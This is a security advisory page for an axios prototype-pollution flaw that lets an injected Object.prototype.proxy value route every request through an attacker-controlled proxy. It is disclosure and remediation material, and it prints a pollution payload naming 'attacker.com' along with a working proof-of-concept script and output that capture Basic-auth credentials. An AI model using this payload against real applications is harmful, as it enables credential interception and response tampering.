GHSA-35jp-ww65-95wh CVE-2026-44494
axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
- Severity
- 8.7 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 1.06%
- Chance of exploitation in the next 30 days. Higher than 64.47% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')
- Fix
1.16.0- Upgrade axios to this version or later
Description
Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.
Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/adapters/http.js (config property access on merged object)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | MITM within the application's network context |
| Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |
| Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true |
| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why This Bypasses mergeConfig
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
mergeConfigiteratesObject.keys({...defaults, ...userConfig})—proxyis NOT in this setdefaultToConfig2forproxyis never called- The merged config has no own
proxyproperty - When
http.js:670readsconfig.proxy, JavaScript traverses the prototype chain Object.prototype.proxyis found → used bysetProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
Object.prototype.proxy = {
host: 'attacker.com',
port: 8080,
protocol: 'http',
};
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
// This looks safe to the developer — no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});
3. The Execution
At http.js:668-670:
setProxy(
options,
config.proxy, // ← traverses prototype chain → finds polluted proxy
protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path
);
setProxy() at http.js:191-239 then:
function setProxy(options, configProxy, location) {
let proxy = configProxy; // = { host: 'attacker.com', port: 8080 }
// ...
if (proxy) {
options.hostname = proxy.hostname || proxy.host; // → 'attacker.com'
options.port = proxy.port; // → 8080
options.path = location; // → full URL as path
// ...
}
}
4. The Impact (Full MITM)
The attacker's proxy server receives:
GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, */*
The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker:
- Sees every request URL, header, and body
- Modifies every response (inject malicious data, change auth results)
- Logs all API keys, session tokens, and passwords
- Operates as an invisible proxy — the developer has no indication
5. Verified PoC Code
import http from 'http';
import axios from './index.js';
// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
intercepted.push({
url: req.url,
authorization: req.headers.authorization,
headers: req.headers,
});
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Real target server
const realServer = http.createServer((req, res) => {
res.writeHead(200);
res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;
// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };
// "Safe" request — goes through attacker's proxy
const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {
auth: { username: 'admin', password: 'SuperSecret123!' }
});
console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)
delete Object.prototype.proxy;
realServer.close();
proxyServer.close();
Verified PoC Output
[1] Normal request (before pollution):
Response source: real server
response.data: {"data":"from-real-server"}
Proxy intercept count: 0
[2] Prototype Pollution: Object.prototype.proxy
Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }
[3] Request after pollution (same code, same URL):
Response source: ATTACKER PROXY!
response.data: {"data":"from-attacker-proxy","hijacked":true}
[4] Data intercepted by attacker's proxy:
Full URL: http://127.0.0.1:50878/api/secrets
Host: 127.0.0.1:50878
Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
All headers: {
"accept": "application/json, text/plain, */*",
"user-agent": "axios/1.15.0",
"accept-encoding": "gzip, compress, deflate, br",
"host": "127.0.0.1:50878",
"authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
"connection": "keep-alive"
}
[5] Attacker capabilities demonstrated:
✓ Full URL visible (including internal hostnames)
✓ Authorization header visible (Base64-encoded credentials)
✓ Can modify/forge response data
✓ Affects ALL axios HTTP requests (not just a single instance)
✓ No assertOptions constraints (unlike transformResponse gadget)
Impact Analysis
- Full Credential Interception: Every HTTP request's
Authorizationheader, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - Arbitrary Response Tampering: The attacker can return any response data — no constraints like
transformResponse's "must return true". - Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
- Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
- Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.
- Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.
Why This Is More Severe Than transformResponse (axios_26)
| Dimension | transformResponse Gadget | proxy Gadget |
|---|---|---|
| Data access | this.auth + response data |
All headers, auth, body, URL, response |
| Response control | Must return true |
Arbitrary responses |
| Attack visibility | Response becomes true (suspicious) |
Normal-looking responses (invisible) |
| mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |
Recommended Fix
Fix 1: Use hasOwnProperty when reading security-sensitive config properties
// In lib/adapters/http.js
const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;
setProxy(options, proxy, location);
Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty
Properties not in defaults that are read by http.js and have security impact:
config.proxy— MITMconfig.socketPath— Unix socket SSRFconfig.transport— request hijackconfig.lookup— DNS hijackconfig.beforeRedirect— redirect manipulationconfig.httpAgent/config.httpsAgent— agent injection
All should use hasOwnProperty checks.
Fix 3: Use null-prototype object for merged config
// In lib/core/mergeConfig.js
const config = Object.create(null);
Resources
- CWE-1321: Prototype Pollution
- CWE-441: Unintended Proxy
- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
- Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — full MITM confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| axios | >= 1.0.0, < 1.16.0 |
1.16.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
axios npm → 1.16.0
- npm
npm install axios@1.16.0- yarn
yarn add axios@1.16.0- pnpm
pnpm add axios@1.16.0
Severity breakdown
CVSS 3.1 8.7
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.
How to prevent it
- Implementation: By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
- Architecture and Design: By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
- Implementation: When handling untrusted objects, validating using a schema can be used.
- Implementation: By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
- Implementation: Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.
How to prevent it
- Architecture and Design: Enforce the use of strong mutual authentication mechanism between the two parties.
- Architecture and Design: Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.
References
Advisories
Packages
Other links
- github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh
- access.redhat.com/errata/RHSA-2026:20889
- access.redhat.com/errata/RHSA-2026:20938
- access.redhat.com/errata/RHSA-2026:27044
- access.redhat.com/errata/RHSA-2026:28964
- access.redhat.com/errata/RHSA-2026:29082
- access.redhat.com/errata/RHSA-2026:29197
- access.redhat.com/errata/RHSA-2026:29800
- access.redhat.com/errata/RHSA-2026:29864
- access.redhat.com/errata/RHSA-2026:30650
- access.redhat.com/errata/RHSA-2026:30651
- access.redhat.com/errata/RHSA-2026:33005
- access.redhat.com/errata/RHSA-2026:33155
- access.redhat.com/errata/RHSA-2026:33160
- access.redhat.com/errata/RHSA-2026:33163
- access.redhat.com/errata/RHSA-2026:33173
- access.redhat.com/errata/RHSA-2026:33183
- access.redhat.com/errata/RHSA-2026:33574
- access.redhat.com/errata/RHSA-2026:34525
- access.redhat.com/errata/RHSA-2026:34527
- access.redhat.com/errata/RHSA-2026:34530
- access.redhat.com/errata/RHSA-2026:34794
- access.redhat.com/errata/RHSA-2026:36108
- access.redhat.com/errata/RHSA-2026:36611
- access.redhat.com/errata/RHSA-2026:36754
- access.redhat.com/errata/RHSA-2026:36820
- access.redhat.com/errata/RHSA-2026:36882
- access.redhat.com/errata/RHSA-2026:36883
- access.redhat.com/errata/RHSA-2026:40262
- access.redhat.com/errata/RHSA-2026:40792
- access.redhat.com/errata/RHSA-2026:40795
- access.redhat.com/errata/RHSA-2026:41031
- access.redhat.com/errata/RHSA-2026:41055
- access.redhat.com/errata/RHSA-2026:41064
- access.redhat.com/errata/RHSA-2026:41066
- access.redhat.com/errata/RHSA-2026:41928
- access.redhat.com/errata/RHSA-2026:41951
- access.redhat.com/errata/RHSA-2026:42078
- access.redhat.com/errata/RHSA-2026:42085
- access.redhat.com/errata/RHSA-2026:42142
- access.redhat.com/errata/RHSA-2026:42146
- access.redhat.com/errata/RHSA-2026:42796
- access.redhat.com/errata/RHSA-2026:43052
- access.redhat.com/errata/RHSA-2026:46885
- access.redhat.com/errata/RHSA-2026:46903
- access.redhat.com/errata/RHSA-2026:50300
- access.redhat.com/errata/RHSA-2026:54188
- access.redhat.com/errata/RHSA-2026:57191
- access.redhat.com/errata/RHSA-2026:60520
- access.redhat.com/errata/RHSA-2026:66488
- access.redhat.com/errata/RHSA-2026:66545
- access.redhat.com/security/cve/CVE-2026-44494
- bugzilla.redhat.com/show_bug.cgi
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44494.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-44g4-m2mj-wpvx Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges | Medium | Also affects axios |
| GHSA-x97p-jq2g-jp4f Axios: Prototype Pollution Gadget in axios toFormData Options | High | Also affects axios |
| GHSA-vh66-26gq-q6x8 Axios: Prototype pollution gadget in fetch adapter can alter outbound requests | Medium | Also affects axios |
| GHSA-r4gj-5m52-g5wh Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF | High | Also affects axios |
| GHSA-mghh-pgcx-3jjj Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location | High | Also affects axios |
| GHSA-m8m8-qj5v-23w3 Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection | High | Also affects axios |
| GHSA-j8rh-479h-cp32 Axios: Header Injection via Inherited headers After Minimal Interceptor | Medium | Also affects axios |
| GHSA-c29m-xwm3-cm6r Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS) | High | Also affects axios |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor